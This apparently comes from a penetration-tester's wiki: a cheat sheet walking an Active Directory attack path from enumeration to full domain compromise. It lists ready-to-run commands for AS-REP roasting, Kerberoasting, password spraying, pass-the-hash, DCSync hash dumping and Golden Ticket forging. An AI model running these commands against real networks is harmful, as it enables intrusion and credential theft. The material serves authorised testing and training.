Active Directory Attack Path
Table of Contents
A structured attack path through an Active Directory environment, from initial enumeration to domain compromise. Each phase builds on the previous, with the goal of obtaining Domain Admin privileges.
Related: Active Directory Lateral Movement Pivoting BloodHound PingCastle
1. Enumeration
Establish what the domain looks like before attempting exploitation. Run from a foothold on the network.
# Basic domain enumeration enum4linux -a $IP
# SMB shares smbmap -H $IP -u guest -p ''
# BloodHound collection bloodhound-python -d domain.local -u user -p pass -ns $IP -c all
Key things to identify:
- Domain name, domain controllers, forest structure
- Users, groups, and group memberships
- Trusts between domains
- Kerberoastable and ASREPRoastable accounts
2. Credential Attacks
AS-REP Roasting
Targets accounts with pre-authentication disabled. No credentials required.
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip $IP
Crack the hash with Hashcat:
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Kerberoasting
Targets service accounts with SPNs. Requires valid domain credentials.
GetUserSPNs.py domain.local/user:pass -dc-ip $IP -request
Crack with Hashcat mode 13100.
Password Spraying
Try a single common password against many accounts to avoid lockout.
kerbrute passwordspray -d domain.local --dc $IP users.txt 'Password123!'
3. Lateral Movement
With credentials, move toward higher-value targets.
Pass the Hash
Use an NTLM hash without cracking it.
evil-winrm -i $IP -u administrator -H <ntlmhash>
Pass the Ticket
Inject a Kerberos ticket to impersonate a user.
See Pass the Ticket and Pass the Hash for detail.
WinRM / PSExec
Move laterally with valid credentials.
evil-winrm -i $IP -u user -p pass psexec.py domain.local/user:pass@$IP
see Lateral movement for more techniques
4. Privilege Escalation
ACL Abuse
BloodHound reveals ACL misconfigurations — GenericAll, WriteDACL, ForceChangePassword relationships that can be exploited to gain control of higher-privileged accounts.
DCSync
With replication rights, dump all domain hashes without touching the DC directly.
secretsdump.py domain.local/user:pass@$IP
Golden Ticket
With the KRBTGT hash, forge a ticket granting ticket for any account indefinitely.
# Dump KRBTGT hash first via secretsdump # Then forge ticket with Mimikatz or impacket
See Mimikatz for detail.
5. Domain Compromise
With Domain Admin credentials or a Golden Ticket, the domain is fully compromised. At this point:
- Dump all hashes with secretsdump
- Access all shares and systems
- Establish persistence if within scope
- Document the attack path clearly for reporting
Tips
- Always run BloodHound early — it reveals the shortest path to DA visually and saves significant manual enumeration time.
- Kerberoasting is low-risk and often yields crackable hashes — always worth trying with any valid domain credential.
- ACL abuse paths are frequently overlooked in hardening but show up constantly in CTFs and real environments.
- Check for unconstrained delegation — any host with this set can be used to capture TGTs of connecting users including DCs.